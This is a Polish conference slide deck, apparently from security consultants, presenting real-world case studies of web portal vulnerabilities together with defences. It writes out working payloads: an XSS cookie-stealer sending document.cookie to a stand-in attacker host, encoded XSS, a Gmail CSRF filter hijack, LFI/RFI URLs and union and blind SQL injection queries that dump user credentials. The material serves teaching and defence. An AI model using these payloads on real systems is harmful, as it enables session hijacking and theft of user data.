SlideShare a Scribd company logo
1 of 98
Drobne błędy w portalach
         WWW
 prawdziwe studium przypadku ;-)


  Borys Łącki
  Michał Sobiegraj, CISSP



    Czemu WWW
     jest ważne?
M


    WWW jest wszędzie




M




     Wydajemy pieniądze
     Zarządzamy finansami
     Zarabiamy pieniądze
     Marnujemy czas

M

                    Ruch w Internecie




http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf
M





                2007:
         ilośd ruchu WWW
    przekroczyła ilośd ruchu P2P


M

    WWW pokonało pr0n! YAY!*




          * nie poparte żadnymi badaniami
M

                     Typy ruchu HTTP




http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf
M

    Wzrost ilości hostów w sieci
     Ponad 60 mln aktywnych
               (netcraft)




M


    Bezpieczeostwo
        WWW
       w skrócie
M



    Odkryte podatności WWW
     przewyższają ilościowo
       wszystkie pozostałe
              (Sans)




M


             Czemu?
      Bardzo popularne medium ($)
    
     Niedojrzałośd technologii
     Błędy logiczne
     Chałupnicze rozwiązania

M

       Amerykaoskie ofiary
           phishingu

      3,6 miliona osób, które
    straciły łącznie 3,2 miliarda
               dolarów
        (Gartner, http://www.heise-online.pl/news/item/2356/)

M

    Standardowa architektura aplikacji WWW

                         Internet




                      Warstwa WWW

                 (filtry wejścia/wyjścia)
                     Warstwa Aplikacji

                   (logika biznesowa)

                     Serwer Baz Danych

M

                                              Źle!

                        Internet




         Warstwa WWW

    (filtry wejścia/wyjścia)
                                           Nowa
                                       funkcjonalnośd
        Warstwa Aplikacji

      (logika biznesowa)

                   Serwer Baz Danych

M

          Firewall vs. właściwe
    projektowanie, kodowanie i SDLC
                        Internet




                  Firewall Aplikacyjny

         Warstwa WWW

    (filtry wejścia/wyjścia)
                                             Nowa
                                         funkcjonalnośd
        Warstwa Aplikacji

      (logika biznesowa)

                   Serwer Baz Danych

M

                                       Optymalnie

                      Internet




                Firewall Aplikacyjny

                  Warstwa WWW

            (filtry wejścia/wyjścia)
      Warstwa Aplikacji
                                             Nowa
                                         funkcjonalnośd
    (logika biznesowa)

                 Serwer Baz Danych

M


        Najczęstsze ataki
      PHP Remote File Include
    
     SQL Injection
     Cross-Site Scripting
     Cross-site Request Forgery
        (SANS Top-20 2007 Security Risks, 2007 Annual Update)

M




    Wyciek informacji

B





    Wesoła historyjka ;-)



B





    Więcej obrazków hmm…
B





B





    :-D
B

    Kopiujemy…




B




    Łączymy się…




B





    PWND ;-)
B

     Wniosek?

    Bezpieczeostwo wymaga
     specyficznego sposobu
            myślenia
            (Paranoi? ;-)
B




    Ograniczenie dostępu po stronie klienta
     Możliwośd obejścia interfejsu
     W kontraście z bankomatem

                Nieskuteczne!



B

    Ograniczenie dostępu po stronie klienta
       RSS z identyfikacją ID klienta
        serwer.tld/rss/100_rss.xml
        serwer.tld/rss/101_rss.xml
        serwer.tld/rss/102_rss.xml
       Czytanie cudzych wiadomości
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82


B





    Kontrola dostępu po
      stronie serwera


B


    Cross-Site
    Scripting
      (XSS)
B

                                                       Reflective XSS
    Serwer
                     http://serwer/index.php?id=<script>…</script>




                 GET /index.php?
                 id=<script>…</script>
                 HTTP/1.1

                                                                      Intruz
    Aplikacja
                                          Użytkownik
     WWW
                …<script>…</script>…
                                         exec(…)

                                                      Dane dostępne
                                                      w kontekście
                                                      użytkownika




B


    Przykładowy kod XSS
    document.write(‘
        <img src=„
           http://intruz.tld/cookiemonster.gif
    ?’+escape(document.cookie) +’ ”>
    ’);




B

    Zmiana treści za pomocą XSS




M

    Zmiana treści za pomocą XSS




B

              Rebranding za pomocą XSS
    http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117,
    109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,
    34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10
    9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1
    11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1
    05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E



     document.getElementById(quot;logoquot;).innerHTML=
    quot;<img src='http://www.str.tld/images/smiley.gif'>quot;


M

        Tak to wygląda w kodzie strony
    ...
    <div id=quot;maincontentquot;>
    <h2>Results for: <span style=quot;color:
    #f00;quot;><script>eval(String.fromCharCode(100,111,99,117,109,101
    ,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1
    00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77
    ,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5
    8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1
    12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4
    6,103,105,102,39,62,34));</script></span></h2>
    </div>
    ...

M

          Tak wygląda zmieniany kod


    <div id=quot;logoquot;>
          <div class=quot;logolinkquot;>
          <a href=quot;http://strona.tld/quot;>strona.tld</a>
          </div>
          ...
    </div>



M

    Kod w przeglądarce




M

    Efekt działania




M

    A wygląda to tak




M

    Zmiana treści za pomocą XSS

      Nie jest permanentna
    
     Lepszy kod  łatwiej (sic!)

    Pomysł:
    Tak samo wyglądający
    formularz kierujący dane w
    inne miejsce  phishing
B

    Uwierzytelnianie przy pomocy cookies
                POST /login.php HTTP/1.1
                login=user&password=asd12ed]r3

                HTTP/1.1 OK 200
                Set-cookie: user_id=734223s8uod42
                Witaj user
                                                    Użytkownik

                GET /index.php HTTP/1.1
                Cookie: user_id=734223s8uod42
       Serwer
                Witaj user




B

    Wykorzystanie przejętego cookie
             POST /login.php HTTP/1.1
             login=user&password=asd12ed]r3

             HTTP/1.1 OK 200
             Set-cookie: user_id=734223s8uod42
             Witaj user
                                                 Użytkownik

             GET /index.php HTTP/1.1
             Cookie: user_id=734223s8uod42
    Serwer
             Witaj user




             GET /index.php HTTP/1.1
             Cookie: user_id=734223s8uod42
                                                   Intruz
             Witaj user



B

    Kradzież ciastka zawierającego ID sesji

    http://www.serwer.tld/index.php?p=com
    ments&comments_login=smietanka%3Csc
    ript%3Edocument.write(document.cookie)
    %3C/script%3E
    PHPSESSID=gji9h519llgbgbnaqg7si0q1l0;
    __utma=258102041.949163972.1198624259.1198624259.1198624259.1;
    __utmb=258102041; __utmc=258102041;
    __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc
    md=(none)

M





M





M





M

              Jak wysład sobie ciastko?
                XMLHttpRequest
            
                Problem pomiędzy domenami
                Link
            
                img, iframe, location.href, etc
    Przykład: <img
    src=quot;http://serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7
    si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259.
    1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204
    1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29
    %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29quot;>

B

             Co na to poradzid?

     Powiązad ID sesji z IP
     Żądad powtórnego uwierzytelnienia
     Kontrolowad wprowadzane dane !!!
      - Białe listy (ScRipT)
      - Spójnośd (IDS, Firewall, aplikacja)
      - Dogłębnośd (....//  ../), UTF-7

B

               http://serwer.tld/topics/<img
        src=http://www.serw.tld/images/smiley.gif>




    /
M

                 http://serwer.tld/topics/<img
    src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif>




      %2f  /
M

              http://serwer.tld/topics/<img
src=http:%252f%252fwww.serwer.tld%252fimages%252fsm
                         iley.gif>




                %252f  %2f  /
M





B

                                                              Stored XSS
       Serwer
                             POST /register.php HTTP/1.1
                             login=<script>…</script>&password=asd
    Aplikacja WWW


                          GET /index.php HTTP/1.1
     <script>…</script>

                                                    Użytkownik
                                                                       Intruz
                           …<script>…</script>…
                                                    exec(…)



                                                       Dane dostępne
     Baza danych
                                                       w kontekście
                                                       użytkownika




B

               Co można zrobid?
     Permanentna zmiana treści
     Łatwa kradzież ID sesji
     CSRF
     XSS Proxy
     Automatyczne robaki
       - mySpace, Orkut, Nduja, Borys
    Łatwe ;] w serwisach pozwalających publikowad własną
    treśd:
        - aukcyjne, blogi, fora, etc
B




    Kradzież ID sesji




B

                                                     XSS Worm
    Serwer WWW
                      Zapisuje XSS w swoim profilu


                XSS
    Intruz



         …
                                                          Intruz



       User_1




       User_2


B

                                                             XSS Worm
    Serwer WWW
                              Zapisuje XSS w swoim profilu

                      GET /intruz/ HTTP/1.1        User_1
                XSS
    Intruz
                      …<script>…</script>…


                                               exec(…)
         …
                         Zapisuje XSS w
                                                                  Intruz
                         swoim profilu



                XSS
    User_1




       User_2


B

                                                          XSS Worm
    Serwer WWW
                           Zapisuje XSS w swoim profilu

                   GET /intruz/ HTTP/1.1        User_1
             XSS
    Intruz
                   …<script>…</script>…
                                                 User_2
         …
                                            exec(…)
                      Zapisuje XSS w
                                                               Intruz
                      swoim profilu


                    GET /user1/ HTTP/1.1
             XSS
    User_1
                    …<script>…</script>…

                                               exec(…)
                        Zapisuje XSS w
             XSS        swoim profilu
    User_2


B

                Nduja – A Cross Domain/Webmail XSS Worm


    Intruz
                         E-mail                E-mail              E-mail

    E-mail



             Serwer               Serwer                Serwer               Serwer
             WWW                  WWW                   WWW                  WWW

             WebMail              WebMail               WebMail             WebMail



             Libero.it            Tiscali.it            Lycos.it            Excite.com



B

             Co na to poradzid?
     Powiązad ID sesji z IP
     Żądad powtórnego uwierzytelnienia
     Kontrolowad wprowadzane dane
     - Białe listy (ScRipT)
     - Spójnośd (IDS, Firewall, aplikacja)
     - Dogłębnośd (....//  ../), UTF-7
     Filtrowad dane zapisywane do bazy
     i odczytywane z bazy
B


       Cross-Site
    Request Forgery
         (CSRF)
B

                                                                          CSRF
     Serwer
                                         http://serwer/delete.php?id=34

    Aplikacja
     WWW

                  GET /delete.php?id=34 HTTP/1.1
                  Cookie: user_id=734223s8uod42
    …
    id = 34;                                                               Intruz
                                                     Użytkownik
    delete(id);
    …
                         Wpis usunięty




M





    <img src=„http://nasza-
    klasa.pl/invite/1?i=1”>
     (/var/log/apache/cba_ipn_zus_access.log)




B


       Przejęcie wiadomości z Gmail (CSRF)

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip
art/form-data&_action=https%3A//mail.google.com/mail/h/
wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili
nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta
ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter

           „Konto na Gmailu każdy z nas ma. Mam i ja!”

             (Kradzież domeny: www.davidairey.co.uk)


B

                 Co na to poradzid?
     POST zamiast GET
       obejście: iframe, javascript
     Referer
       problemy: proxy, przeglądarki, zmiana nagłówka
     Generowane tymczasowego dodatkowego ID
     Powiązanie ID użytkownika z długim losowym
    ciągiem
       Trzymane po stronie serwera
     Wymaganie ponownej autoryzacji przy
    kluczowych operacjach
     Brak błędów XSS (XmlHttpRequest)!!!
B




    PHP File Include

B

                      Local File Include
    • podgląd plików (konfiguracyjnych!)
    • wykonanie kodu, jeśli jest możliwośd wgrania pliku na
    serwer
    • dostęp do kodu źródłowego

       <?php
       if(file_exists(quot;includes/$page.incquot;)) {
         include quot;includes/$page.incquot;;
       } else {
         echo quot;W budowie!<BR>quot;;
       }

http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi
                        c_html/.htpasswd%00
B

                                 Remote File Include

     wykonanie kodu
    <?php
    include($mosConfig_absolute_path.quot;/administrator/components
    /com_hashcash/config.hashcash.phpquot;);
    require_once
    ($mosConfig_absolute_path.'/components/com_hashcash/CryptoS
    trategy.php');

http://strona.tld/components/com_hashcash/server.php?mosConfig_a
              bsolute_path=http://zuozuozuo.pl/evil.txt?
    access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] quot;GET
    //install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1quot;
    404 1021 quot;-quot; quot;libwww-perl/5.803„

    access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] quot;GET
    /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt?
    HTTP/1.1quot; 404 1021 quot;-quot; quot;libwww-perl/5.76quot;
B

                Co z tym zrobid?
     konfiguracja po stronie php.ini
       allow_url_fopen = Off
       allow_url_include = Off
       register_global = Off
       safe_mode = On
       register_globals = Off
       safe_mode_gid = Off
       display_errors = Off
       log_errors = On
       error_log = /var/log/httpd/php_error.log
       disable_functions = system, shell_exec, exec, passthru

     uważad na specjalne znaki (null byte, etc)
     filtrowad, filtrowad i jeszcze raz filtrowad
     (../, UTF, itd.)
     inne: mod_security, Suhosin PHP

B




    SQL Injection

M

                                                              SQL Injection
       Serwer
                              GET /login.php HTTP/1.1
                              login=admin&password=1’ or 1=‘1
    Aplikacja WWW

                                                                         Intruz
     select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’


                              Welcome admin



                                  $dane = db_exec(„select from users where
                                  login=‘$login’ and pass=‘$pass’”)
     Baza danych
                                  if ($dane.count) {
                                            print („Welcome $login”)
                                            …
                                  } else {
                                            print („Bye”);
                                            exit (0);
                                  }
M

    POST http://www.serwer.tld/index.php?p=priv HTTP/1.1
    priv_search=2e332424&cat='quot;1&w_city=quot;'asd&submit=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' and
    1=1#&submit=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' and
    1=0#&submit=Szukaj




M

       priv_search=&cat=1&w_city=Ca%B3a+Polska'
       union all select @@version#&submit=Szukaj




    The used SELECT statements
      have a different number
            of columns

M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi
    t=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi
    t=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_
    NAME,14,15,16,17,18 from information_schema.columns
    where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA !=
    'information_schema'#&submit=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from
    users#&submit=Szukaj




M

    Przy okazji wychodzą na jaw
           TAJEMNICE ;-)




M

      Bonusowe odkrycie:

    1836 botów :-)




M

    Blind SQL Injection




               Formularz rejestracyjny:

                          ‘
B

            Blind SQL Injection
     1' and 1='0
           OK.
     1' or 1='1
           Taki email już jest zarejestrowany
             w serwisie. Musisz podad inny
     1' union all SELECT IF( user() like '%sig%',
     BENCHMARK(3000000,MD5( 'x' )),NULL)#
           opóźnienie  user() == sig@...
     1' union all SELECT IF( user() like '%asd%',
     BENCHMARK(3000000,MD5( 'x' )),NULL)#
           brak opóźnienia
B





B





B

               Blind SQL Injection

    • /zgoda.php?id=155765%20AND%20(select%2
      0ascii(substring((select%20login%20from%20a
      dmini%20limit%201,1),1,1)))%3D97

    • id=155765 AND (select ascii(substring((select
      login from admini limit LINIA,1), MIEJSCE, 1)))
      =ZNAK_ASCII

B

     Wyniki blind SQL Injection


     Opóźnienie
     Treśd
     Komunikat błędu

B

              Co na to poradzid?

     Filtrowad wprowadzane dane
     - Białe listy znaków
     - Spójnośd (IDS, Firewall, aplikacja,
        baza danych)
     Nie ufad filtrom po stronie
      użytkownika (listy wyboru, JavaScript)

M




    Podsumowanie

M

     Z bezpieczeostwem WWW jest źle




    Błędy są wszędzie* wokół nas


                *no prawie wszędzie ;-)
M

               Co zrobid?

    Koniecznie filtrowad wprowadzane i
           wyprowadzane dane

             Firewalle aplikacyjne
             IDSy



                  Białe listy!


M

      Byd świadomym potencjalnych
          zagrożeo i problemów

     Słuchad i pytad
     Korzystad z pomocy specjalistów
     Bilansowad koszty z zyskami

          każdy feedback jest dobry

M

             Używad sprawdzonych
                  rozwiązao
    • Odpowiedzią na tradycyjne błędy jest kod
      zarządzany, automatyczne typowanie, GC, itp.
    • Odpowiedzią na błędy w kodowaniu WWW są
      frameworki
      – Pozwalają na zachowanie pewnej jakości kodu
      – Nie jesteśmy w 100% bezpieczni
         » Jeszcze nie są wystarczająco dojrzałe
         » Nie wszyscy wiedzą jak z nich korzystad
         » Bywają rozszerzane quot;na głupaquot;
         » Efekt skali powoduje, że błędy propagują się szeroko
M

                   Hardening

          Poprawna konfiguracja jest
              niezwykle istotna

    Jedna dyrektywa w php.ini może zablokowad
          wykorzystanie błędu w aplikacji
                            PHP:
                http://www.sans.org/top20/#s1




M

           Myślenie


Nikt ani nic nie ustrzeże nas
  przed skutkami błędów
         logicznych

M
michal@sobiegraj.com
       b.lacki@logicaltrust.net




Pytania?

More Related Content

Similar to Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuLogicaltrust pl
 
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuLogicaltrust pl
 
Testy bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiTesty bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiLogicaltrust pl
 
Błędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówBłędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówArkadiusz Stęplowski
 
Cloud computing na bazie Windows Azure, Tomek Kopacz, Microsoft
Cloud computing na bazie Windows Azure, Tomek Kopacz, MicrosoftCloud computing na bazie Windows Azure, Tomek Kopacz, Microsoft
Cloud computing na bazie Windows Azure, Tomek Kopacz, MicrosoftBiznes 2.0
 
Tomasz Kopacz, Cloud computing na bazie Windows Azure
Tomasz Kopacz, Cloud computing na bazie Windows AzureTomasz Kopacz, Cloud computing na bazie Windows Azure
Tomasz Kopacz, Cloud computing na bazie Windows AzureWebhosting.pl
 
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać PROIDEA
 
Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Wojciech Klocek
 
Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Bartlomiej Zass
 
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiastosecman_pl
 
Apache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użyciaApache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użyciaWojciech Lichota
 
Framework w architekturze SOA
Framework w architekturze SOAFramework w architekturze SOA
Framework w architekturze SOA3camp
 
Patronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 WarsztatyPatronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 Warsztatyintive
 
PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...
PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...
PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...PROIDEA
 
WebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, TomorrowWebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, TomorrowMarcin Dembowski
 
HTML5 - now or later
HTML5 - now or laterHTML5 - now or later
HTML5 - now or laterKasia Drzyzga
 
Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości Adm...
Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości   Adm...Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości   Adm...
Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości Adm...Łukasz Grala
 

Similar to Drobne błędy w portalach WWW -- prawdziwe studium przypadku (20)

Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
 
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
 
Testy bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiTesty bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadki
 
Błędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówBłędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderów
 
Cloud computing na bazie Windows Azure, Tomek Kopacz, Microsoft
Cloud computing na bazie Windows Azure, Tomek Kopacz, MicrosoftCloud computing na bazie Windows Azure, Tomek Kopacz, Microsoft
Cloud computing na bazie Windows Azure, Tomek Kopacz, Microsoft
 
Tomasz Kopacz, Cloud computing na bazie Windows Azure
Tomasz Kopacz, Cloud computing na bazie Windows AzureTomasz Kopacz, Cloud computing na bazie Windows Azure
Tomasz Kopacz, Cloud computing na bazie Windows Azure
 
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
 
Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!
 
Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)
 
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiasto
 
TGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert CharewiczTGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert Charewicz
 
Apache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użyciaApache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użycia
 
Framework w architekturze SOA
Framework w architekturze SOAFramework w architekturze SOA
Framework w architekturze SOA
 
Patronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 WarsztatyPatronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 Warsztaty
 
Iron Python I Dlr
Iron Python I DlrIron Python I Dlr
Iron Python I Dlr
 
Devops/Sysops security
Devops/Sysops securityDevops/Sysops security
Devops/Sysops security
 
PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...
PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...
PLNOG19 - Andrzej Prałat & Wojciech Rybicki - Jak usprawnić działanie WAF wyk...
 
WebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, TomorrowWebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, Tomorrow
 
HTML5 - now or later
HTML5 - now or laterHTML5 - now or later
HTML5 - now or later
 
Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości Adm...
Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości   Adm...Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości   Adm...
Łukasz Grala - WSKIZ 2009-04-07 It Academic - SQL Server 2008 - Nowości Adm...
 

More from msobiegraj

[ISSA] Zagrożenia na 2008 rok
[ISSA] Zagrożenia na 2008 rok[ISSA] Zagrożenia na 2008 rok
[ISSA] Zagrożenia na 2008 rokmsobiegraj
 
[ISSA] Web Appication Firewall
[ISSA] Web Appication Firewall[ISSA] Web Appication Firewall
[ISSA] Web Appication Firewallmsobiegraj
 
[ISSA] Incident Responce
[ISSA] Incident Responce[ISSA] Incident Responce
[ISSA] Incident Responcemsobiegraj
 
2FA w bankowosci (Bartosz Nowak)
2FA w bankowosci (Bartosz Nowak)2FA w bankowosci (Bartosz Nowak)
2FA w bankowosci (Bartosz Nowak)msobiegraj
 
Strong Authentication (Michal Sobiegraj)
Strong Authentication (Michal Sobiegraj)Strong Authentication (Michal Sobiegraj)
Strong Authentication (Michal Sobiegraj)msobiegraj
 
Minor Mistakes In Web Portals
Minor Mistakes In Web PortalsMinor Mistakes In Web Portals
Minor Mistakes In Web Portalsmsobiegraj
 
ISSA Wroclaw -- Aktywacja
ISSA Wroclaw -- AktywacjaISSA Wroclaw -- Aktywacja
ISSA Wroclaw -- Aktywacjamsobiegraj
 
Web Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacji
Web Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacjiWeb Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacji
Web Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacjimsobiegraj
 
Technology Risk Management of Web Applications — A Case Study
Technology Risk Management of Web Applications — A Case StudyTechnology Risk Management of Web Applications — A Case Study
Technology Risk Management of Web Applications — A Case Studymsobiegraj
 
Jak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki uboczne
Jak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki uboczneJak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki uboczne
Jak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki ubocznemsobiegraj
 
Reputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiem
Reputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiemReputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiem
Reputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiemmsobiegraj
 

More from msobiegraj (12)

[ISSA] Zagrożenia na 2008 rok
[ISSA] Zagrożenia na 2008 rok[ISSA] Zagrożenia na 2008 rok
[ISSA] Zagrożenia na 2008 rok
 
[ISSA] IDS
[ISSA] IDS[ISSA] IDS
[ISSA] IDS
 
[ISSA] Web Appication Firewall
[ISSA] Web Appication Firewall[ISSA] Web Appication Firewall
[ISSA] Web Appication Firewall
 
[ISSA] Incident Responce
[ISSA] Incident Responce[ISSA] Incident Responce
[ISSA] Incident Responce
 
2FA w bankowosci (Bartosz Nowak)
2FA w bankowosci (Bartosz Nowak)2FA w bankowosci (Bartosz Nowak)
2FA w bankowosci (Bartosz Nowak)
 
Strong Authentication (Michal Sobiegraj)
Strong Authentication (Michal Sobiegraj)Strong Authentication (Michal Sobiegraj)
Strong Authentication (Michal Sobiegraj)
 
Minor Mistakes In Web Portals
Minor Mistakes In Web PortalsMinor Mistakes In Web Portals
Minor Mistakes In Web Portals
 
ISSA Wroclaw -- Aktywacja
ISSA Wroclaw -- AktywacjaISSA Wroclaw -- Aktywacja
ISSA Wroclaw -- Aktywacja
 
Web Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacji
Web Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacjiWeb Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacji
Web Application Firewall -- potrzeba,rozwiązania, kryteria ewaluacji
 
Technology Risk Management of Web Applications — A Case Study
Technology Risk Management of Web Applications — A Case StudyTechnology Risk Management of Web Applications — A Case Study
Technology Risk Management of Web Applications — A Case Study
 
Jak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki uboczne
Jak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki uboczneJak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki uboczne
Jak maszyny rozpoznają ludzi? Odwrotny test Turinga i jego skutki uboczne
 
Reputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiem
Reputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiemReputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiem
